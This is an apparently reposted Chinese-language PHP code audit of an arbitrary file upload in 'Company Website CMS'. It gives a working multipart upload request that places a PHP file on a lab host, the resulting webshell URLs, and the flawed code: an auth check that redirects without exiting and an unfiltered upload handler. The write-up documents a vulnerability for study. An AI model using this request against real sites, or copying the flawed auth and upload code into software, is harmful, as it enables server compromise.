

PHP代码审计—Company Website CMS Arbitrary File Upload
source link: https://bewhale.github.io/post/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E2%80%94Company%20Website%20CMS%20Arbitrary%20File%20Upload/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Vendor Homepage:
https://www.sourcecodester.com
Source Code Download:
Payload
Company Website CMS Arbitrary File Upload
POST /dashboard/updatelogo.php HTTP/1.1
Host: 192.168.1.8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhU28tGAfT7Qp6gs0
Connection: close
Content-Length: 477
------WebKitFormBoundaryhU28tGAfT7Qp6gs0
Content-Disposition: form-data; name="xfile"; filename="temp.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
------WebKitFormBoundaryhU28tGAfT7Qp6gs0
Content-Disposition: form-data; name="ufile"; filename="temp.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
------WebKitFormBoundaryhU28tGAfT7Qp6gs0
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryhU28tGAfT7Qp6gs0--

webshell:
http://192.168.1.8/dashboard/uploads/logo/118temp.php
http://192.168.1.8/dashboard/uploads/logo/2338temp.php

dashboard/updatelogo.php
文件第1行,包含了 header.php
<?php include"header.php";?>
dashboard/header.php
文件第8-27行,用session是否存在username
来判断是否登录,
如果没有登录,便跳转到 login.php
,
但是 程序没有退出,所以还会继续执行下面的代码,这个判断根本没有实质性的效果。
if (!isset($_SESSION['username'])) {
print "
<script language='javascript'>
window.location = 'login.php';
</script>
";
}
// Check, if username session is NOT set then this page will jump to login page
if (isset($_SESSION['username'])) {
$username = $_SESSION['username'];
}
else {
print "
<script language='javascript'>
window.location = 'login.php';
</script>
";
}
......
然后返回 dashboard/updatelogo.php
文件第49-72行,
根据代码可知,文件上传并没有进行任何过滤,并且返回了文件的路径
<?php
$status = "OK"; //initial status
$msg="";
if(ISSET($_POST['save'])){
$uploads_dir = 'uploads/logo';
$tmp_name = $_FILES["xfile"]["tmp_name"];
// basename() may prevent filesystem traversal attacks;
// further validation/sanitation of the filename may be appropriate
$name = basename($_FILES["xfile"]["name"]);
$random_digit=rand(0000,9999);
$new_file=$random_digit.$name;
move_uploaded_file($tmp_name, "$uploads_dir/$new_file");
$tmp_name = $_FILES["ufile"]["tmp_name"];
// basename() may prevent filesystem traversal attacks;
// further validation/sanitation of the filename may be appropriate
$name = basename($_FILES["ufile"]["name"]);
$random_digit=rand(0000,9999);
$new_file_name=$random_digit.$name;
move_uploaded_file($tmp_name, "$uploads_dir/$new_file_name");
......
Recommend
-
7
Set Store apps as the default for arbitrary file types in Windows 10 Windows won’t let you open arbitrary files with apps installed from the Microsoft Store unless it knows the app can handle the file type. App developers pro...
-
8
Send My Send My allows you to to upload abritrary data from devices without an internet connection by (ab)using Apple's Find My network. The data is broadcasted via Bluetooth Low Energy and forwarded by nearby Apple devices. T...
-
11
Vendor: Apple Vendor URL: https://www.apple.com/ Versions affected: xar 1.8-dev Systems Affected: macOS versions below 12.0.1 Author: Richard Warren <richard.warren[at]nccgroup[dot]trust> Advisory URL: https://support.apple.com/...
-
10
Introduction OpenCATS is an application tracking system that is written in PHP. More about OpenCATS can be seen here: https://www.opencats.org/. OpenCATS is vulnerable to PHP Object injection, by leveraging this vulnera...
-
9
iBooking v1.0.8 - Arbitrary File Upload ...
-
12
WP-file-manager v6.9 - Unauthenticated Arbitrary File Upload leading to RCE...
-
9
Roxy Fileman 1.4.5 - Arbitrary File Upload ...
-
9
KodExplorer 4.49 - CSRF to Arbitrary File Upload ...
-
8
Online Art gallery project 1.0 - Arbitrary File Upload (Unauthenticated)...
-
9
Academy LMS 6.1 - Arbitrary File Upload ...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK